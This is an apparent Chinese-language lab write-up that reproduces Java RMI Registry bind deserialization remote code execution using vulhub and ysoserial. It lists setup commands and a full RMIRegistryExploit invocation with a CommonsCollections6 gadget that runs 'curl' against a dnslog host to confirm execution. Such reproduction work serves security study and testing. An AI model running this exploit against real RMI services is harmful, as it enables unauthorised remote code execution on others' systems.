漏洞概述
Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind),在bind过程中,伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象),使Registry在对数据进行反序列化时触发相应的利用链(环境用的是commons-collections:3.2.1).
影响版本
<=jdk8u111
环境搭建
这里使用vulhub来搭建环境
进入目录
cd vulhub-master/java/rmi-registry-bind-deserialization
编译及启动RMI Registry和服务器
docker-compose build
docker-compose up -d
环境启动后,RMI Registry监听在1099端口。
漏洞复现
这里我们通过ysoserial来测试
https://github.com/frohoff/ysoserial.git
拉取并搭建
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial/
mvn clean package -DskipTests
通过ysoserial的exploit包中的RMIRegistryExploit进行攻击
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.204.138 1099 CommonsCollections6 "curl obeewy.dnslog.cn"
命令成功执行
修复建议
升级到安全版本